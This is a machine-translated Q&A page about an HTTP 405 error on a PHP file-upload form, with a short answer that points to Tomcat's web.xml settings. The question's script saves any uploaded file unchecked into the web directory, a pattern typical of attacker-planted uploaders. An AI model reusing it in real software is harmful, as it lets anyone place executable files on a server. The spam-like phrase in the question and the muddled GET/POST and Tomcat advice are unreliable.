【问题标题】:HTTP Status 405 - Request method 'POST' not supported - File UploadHTTP 状态 405 - 不支持请求方法“POST” - 文件上传
【发布时间】:2015-01-13 12:36:09
【问题描述】:

HTTP 状态 405 - 不支持请求方法“POST”

类型状态报告

消息不支持请求方法“POST”

说明所请求的资源不允许使用指定的 HTTP 方法。

Apache Tomcat/7.0.42 apk indir 主页供点击。

<?php
if(isset($_POST['Submit'])){
    $filedir = ""; 
    $maxfile = '2000000';

    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if (isset($_FILES['image']['name'])) {
        $abod = $filedir.$userfile_name;
        @move_uploaded_file($userfile_tmp, $abod);

echo"<center><b>Done ==> $userfile_name</b></center>";
}
}
else{
echo'
<form method="GET" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
}
?>

【问题讨论】:

    标签: post


    【解决方案1】:

    请参阅 http-get-with-request-bodythis table 比较 GET 和 POST。

    GET 方法不携带有意义的正文,因此不支持分段或文件上传。这很可能是由浏览器作为 POST 请求发送的。

    确保 servlet 的 web.xml 文件中的 web-resource-collection 标记包含 &lt;http-method&gt;POST&lt;/http-method&gt;,以便 Tomcat 允许您的 POST 请求。

    【讨论】:

      猜你喜欢
      • 2016-05-14
      • 2014-09-18
      • 2013-03-03
      • 2016-11-11
      • 2015-06-26
      • 1970-01-01
      • 2012-06-24
      • 2015-05-01
      • 2015-04-09
      相关资源
      最近更新 更多